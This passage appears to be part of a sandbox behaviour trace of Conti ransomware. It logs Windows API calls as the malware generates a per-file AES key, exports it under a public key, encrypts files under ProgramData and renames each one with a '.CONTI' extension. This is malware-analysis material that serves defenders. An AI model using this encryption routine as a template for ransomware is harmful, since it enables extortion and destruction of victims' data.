	[0105.035] CryptDestroyKey (hKey=0x17c80f0) returned 1
	[0105.035] GetProcessHeap () returned 0x1720000
	[0105.035] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181c1f0 | out: hHeap=0x1720000) returned 1
	[0105.035] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4) returned 1
	[0105.419] CryptGenKey (in: hProv=0x1753700, Algid=0x6610, dwFlags=0x1, phKey=0x17d2b20 | out: phKey=0x17d2b20*=0x17c85b0) returned 1
	[0105.419] CryptExportKey (in: hKey=0x17c85b0, hExpKey=0x173a8d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d2b24, pdwDataLen=0x3e3fe8c | out: pbData=0x17d2b24*, pdwDataLen=0x3e3fe8c*=0x20c) returned 1
	[0105.420] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\394b7b36-41b9-4032-9875-c0240ca5a7f5_show.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\394b7b36-41b9-4032-9875-c0240ca5a7f5_show.xml")) returned 0x20
	[0105.420] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\394b7b36-41b9-4032-9875-c0240ca5a7f5_show.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\394b7b36-41b9-4032-9875-c0240ca5a7f5_show.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0105.420] GetLastError () returned 0x5
	[0105.420] CryptDestroyKey (hKey=0x17c85b0) returned 1
	[0105.420] GetProcessHeap () returned 0x1720000
	[0105.420] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17cbcd8 | out: hHeap=0x1720000) returned 1
	[0105.420] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4) returned 1
	[0107.198] CryptGenKey (in: hProv=0x1753700, Algid=0x6610, dwFlags=0x1, phKey=0x17d61e0 | out: phKey=0x17d61e0*=0x17c80b0) returned 1
	[0107.198] CryptExportKey (in: hKey=0x17c80b0, hExpKey=0x173a8d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d61e4, pdwDataLen=0x3e3fe8c | out: pbData=0x17d61e4*, pdwDataLen=0x3e3fe8c*=0x20c) returned 1
	[0107.225] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\prov\\runtime.xml")) returned 0x20
	[0107.225] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\prov\\runtime.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0107.225] GetLastError () returned 0x0
	[0107.225] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x3e3fe38 | out: lpFileSize=0x3e3fe38*=251) returned 1
	[0107.225] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xfb
	[0107.225] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.225] SetEndOfFile (hFile=0x384) returned 1
	[0107.226] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.226] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.226] WriteFile (in: hFile=0x384, lpBuffer=0x17d61e4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3e3fe44, lpOverlapped=0x0 | out: lpBuffer=0x17d61e4*, lpNumberOfBytesWritten=0x3e3fe44*=0x20c, lpOverlapped=0x0) returned 1
	[0107.228] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.228] ReadFile (in: hFile=0x384, lpBuffer=0xa2a0000, nNumberOfBytesToRead=0xfb, lpNumberOfBytesRead=0x3e3fe64, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesRead=0x3e3fe64*=0xfb, lpOverlapped=0x0) returned 1
	[0107.228] CryptEncrypt (in: hKey=0x17c80b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0xfb, dwBufLen=0x500000 | out: pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x100) returned 1
	[0107.228] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.228] WriteFile (in: hFile=0x384, lpBuffer=0xa2a0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3e3fe78, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesWritten=0x3e3fe78*=0x100, lpOverlapped=0x0) returned 1
	[0107.228] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.228] WriteFile (in: hFile=0x384, lpBuffer=0x17d61d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3e3fe90, lpOverlapped=0x0 | out: lpBuffer=0x17d61d8*, lpNumberOfBytesWritten=0x3e3fe90*=0x8, lpOverlapped=0x0) returned 1
	[0107.228] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.228] CloseHandle (hObject=0x384) returned 1
	[0107.228] GetProcessHeap () returned 0x1720000
	[0107.228] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0107.229] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime.xml"
	[0107.229] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime.xml.CONTI"
	[0107.229] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\prov\\runtime.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\prov\\runtime.xml.conti")) returned 1
	[0107.230] GetProcessHeap () returned 0x1720000
	[0107.230] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.230] CryptDestroyKey (hKey=0x17c80b0) returned 1
	[0107.230] GetProcessHeap () returned 0x1720000
	[0107.230] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17cbe68 | out: hHeap=0x1720000) returned 1
	[0107.230] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4) returned 1
	[0107.230] CryptGenKey (in: hProv=0x1753700, Algid=0x6610, dwFlags=0x1, phKey=0x65129b8 | out: phKey=0x65129b8*=0x17c7f70) returned 1
	[0107.230] CryptExportKey (in: hKey=0x17c7f70, hExpKey=0x173a8d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65129bc, pdwDataLen=0x3e3fe8c | out: pbData=0x65129bc*, pdwDataLen=0x3e3fe8c*=0x20c) returned 1
	[0107.232] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\120__Connections_Cellular_Vodafone FO (Faroe Islands)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\120__connections_cellular_vodafone fo (faroe islands)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0107.232] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\120__Connections_Cellular_Vodafone FO (Faroe Islands)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\120__connections_cellular_vodafone fo (faroe islands)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0107.233] GetLastError () returned 0x0
	[0107.233] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x3e3fe38 | out: lpFileSize=0x3e3fe38*=726) returned 1
	[0107.233] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d6
	[0107.233] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.233] SetEndOfFile (hFile=0x384) returned 1
	[0107.233] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.233] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.233] WriteFile (in: hFile=0x384, lpBuffer=0x65129bc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3e3fe44, lpOverlapped=0x0 | out: lpBuffer=0x65129bc*, lpNumberOfBytesWritten=0x3e3fe44*=0x20c, lpOverlapped=0x0) returned 1
	[0107.234] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.235] ReadFile (in: hFile=0x384, lpBuffer=0xa2a0000, nNumberOfBytesToRead=0x2d6, lpNumberOfBytesRead=0x3e3fe64, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesRead=0x3e3fe64*=0x2d6, lpOverlapped=0x0) returned 1
	[0107.235] CryptEncrypt (in: hKey=0x17c7f70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x2d6, dwBufLen=0x500000 | out: pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x2e0) returned 1
	[0107.235] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.235] WriteFile (in: hFile=0x384, lpBuffer=0xa2a0000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x3e3fe78, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesWritten=0x3e3fe78*=0x2e0, lpOverlapped=0x0) returned 1
	[0107.235] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.235] WriteFile (in: hFile=0x384, lpBuffer=0x65129b0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3e3fe90, lpOverlapped=0x0 | out: lpBuffer=0x65129b0*, lpNumberOfBytesWritten=0x3e3fe90*=0x8, lpOverlapped=0x0) returned 1
	[0107.235] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.235] CloseHandle (hObject=0x384) returned 1
	[0107.235] GetProcessHeap () returned 0x1720000
	[0107.235] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0107.235] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\120__Connections_Cellular_Vodafone FO (Faroe Islands)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\120__Connections_Cellular_Vodafone FO (Faroe Islands)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\120__Connections_Cellular_Vodafone FO (Faroe Islands)_i0$(__MVID)@WAP.provxml"
	[0107.235] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\120__Connections_Cellular_Vodafone FO (Faroe Islands)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\120__Connections_Cellular_Vodafone FO (Faroe Islands)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\120__Connections_Cellular_Vodafone FO (Faroe Islands)_i0$(__MVID)@WAP.provxml.CONTI"
	[0107.235] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\120__Connections_Cellular_Vodafone FO (Faroe Islands)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\120__connections_cellular_vodafone fo (faroe islands)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\120__Connections_Cellular_Vodafone FO (Faroe Islands)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\120__connections_cellular_vodafone fo (faroe islands)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0107.241] GetProcessHeap () returned 0x1720000
	[0107.242] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.242] CryptDestroyKey (hKey=0x17c7f70) returned 1
	[0107.242] GetProcessHeap () returned 0x1720000
	[0107.242] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c3a00 | out: hHeap=0x1720000) returned 1
	[0107.242] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4) returned 1
	[0107.242] CryptGenKey (in: hProv=0x1753700, Algid=0x6610, dwFlags=0x1, phKey=0x6512e48 | out: phKey=0x6512e48*=0x17c8370) returned 1
	[0107.242] CryptExportKey (in: hKey=0x17c8370, hExpKey=0x173a8d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6512e4c, pdwDataLen=0x3e3fe8c | out: pbData=0x6512e4c*, pdwDataLen=0x3e3fe8c*=0x20c) returned 1
	[0107.242] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\121__Connections_Cellular_Kidanet (Fiji)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\121__connections_cellular_kidanet (fiji)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0107.243] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\121__Connections_Cellular_Kidanet (Fiji)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\121__connections_cellular_kidanet (fiji)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0107.243] GetLastError () returned 0x0
	[0107.243] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x3e3fe38 | out: lpFileSize=0x3e3fe38*=704) returned 1
	[0107.243] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c0
	[0107.243] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.243] SetEndOfFile (hFile=0x384) returned 1
	[0107.243] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.243] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.243] WriteFile (in: hFile=0x384, lpBuffer=0x6512e4c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3e3fe44, lpOverlapped=0x0 | out: lpBuffer=0x6512e4c*, lpNumberOfBytesWritten=0x3e3fe44*=0x20c, lpOverlapped=0x0) returned 1
	[0107.245] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.245] ReadFile (in: hFile=0x384, lpBuffer=0xa2a0000, nNumberOfBytesToRead=0x2c0, lpNumberOfBytesRead=0x3e3fe64, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesRead=0x3e3fe64*=0x2c0, lpOverlapped=0x0) returned 1
	[0107.245] CryptEncrypt (in: hKey=0x17c8370, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x2c0, dwBufLen=0x500000 | out: pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x2d0) returned 1
	[0107.245] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.245] WriteFile (in: hFile=0x384, lpBuffer=0xa2a0000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x3e3fe78, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesWritten=0x3e3fe78*=0x2d0, lpOverlapped=0x0) returned 1
	[0107.245] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.246] WriteFile (in: hFile=0x384, lpBuffer=0x6512e40*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3e3fe90, lpOverlapped=0x0 | out: lpBuffer=0x6512e40*, lpNumberOfBytesWritten=0x3e3fe90*=0x8, lpOverlapped=0x0) returned 1
	[0107.246] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.246] CloseHandle (hObject=0x384) returned 1
	[0107.246] GetProcessHeap () returned 0x1720000
	[0107.246] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0107.246] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\121__Connections_Cellular_Kidanet (Fiji)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\121__Connections_Cellular_Kidanet (Fiji)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\121__Connections_Cellular_Kidanet (Fiji)_i0$(__MVID)@WAP.provxml"
	[0107.246] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\121__Connections_Cellular_Kidanet (Fiji)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\121__Connections_Cellular_Kidanet (Fiji)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\121__Connections_Cellular_Kidanet (Fiji)_i0$(__MVID)@WAP.provxml.CONTI"
	[0107.246] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\121__Connections_Cellular_Kidanet (Fiji)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\121__connections_cellular_kidanet (fiji)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\121__Connections_Cellular_Kidanet (Fiji)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\121__connections_cellular_kidanet (fiji)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0107.247] GetProcessHeap () returned 0x1720000
	[0107.247] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.247] CryptDestroyKey (hKey=0x17c8370) returned 1
	[0107.247] GetProcessHeap () returned 0x1720000
	[0107.247] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c3b58 | out: hHeap=0x1720000) returned 1
	[0107.247] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4) returned 1
	[0107.247] CryptGenKey (in: hProv=0x1753700, Algid=0x6610, dwFlags=0x1, phKey=0x6515510 | out: phKey=0x6515510*=0x17c7fb0) returned 1
	[0107.247] CryptExportKey (in: hKey=0x17c7fb0, hExpKey=0x173a8d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6515514, pdwDataLen=0x3e3fe8c | out: pbData=0x6515514*, pdwDataLen=0x3e3fe8c*=0x20c) returned 1
	[0107.248] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\122__Connections_Cellular_Vodafone Fiji (Fiji)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\122__connections_cellular_vodafone fiji (fiji)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0107.248] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\122__Connections_Cellular_Vodafone Fiji (Fiji)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\122__connections_cellular_vodafone fiji (fiji)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0107.248] GetLastError () returned 0x0
	[0107.248] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x3e3fe38 | out: lpFileSize=0x3e3fe38*=728) returned 1
	[0107.248] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d8
	[0107.248] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.248] SetEndOfFile (hFile=0x384) returned 1
	[0107.249] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.249] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.249] WriteFile (in: hFile=0x384, lpBuffer=0x6515514*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3e3fe44, lpOverlapped=0x0 | out: lpBuffer=0x6515514*, lpNumberOfBytesWritten=0x3e3fe44*=0x20c, lpOverlapped=0x0) returned 1
	[0107.250] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.250] ReadFile (in: hFile=0x384, lpBuffer=0xa2a0000, nNumberOfBytesToRead=0x2d8, lpNumberOfBytesRead=0x3e3fe64, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesRead=0x3e3fe64*=0x2d8, lpOverlapped=0x0) returned 1
